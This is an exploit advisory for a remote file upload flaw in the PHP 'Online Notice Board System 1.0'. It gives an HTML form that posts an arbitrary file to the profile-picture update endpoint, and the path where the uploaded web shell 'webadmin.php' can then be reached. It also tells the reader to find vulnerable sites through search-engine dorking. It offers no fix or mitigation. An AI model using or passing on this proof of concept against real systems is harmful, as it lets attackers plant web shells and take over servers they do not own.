=============================================================================================================================================
| # Title : Online Notice Board System project 1.0 Remote File Upload Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) |
| # Vendor : https://www.kashipara.com/project/php/7394/online-notice-board-system |
=============================================================================================================================================
POC :
[+] Dorking Ä°n Google Or Other Search Enggine.
[+] The following html code uploads a executable malicious file remotely .
[+] Go to the line 10.
[+] Set the target site link Save changes and apply .
[+] save code as poc.html .
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Update Profile Picture</title>
</head>
<body>
<h2>Update Profile Picture</h2>
<form action="http://127.0.0.1/Online%20Notice%20Board%20System/user/index.php?page=update_profile_pic" method="POST" enctype="multipart/form-data">
<!-- File input -->
<label for="f">Choose a profile picture:</label>
<input type="file" id="f" name="f" required><br><br>
<!-- Submit button -->
<input type="submit" name="update" value="Update Profile Picture">
</form>
</body>
</html>
[+] http://127.0.0.1/Online%20Notice%20Board%20System/images/webadmin.php
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================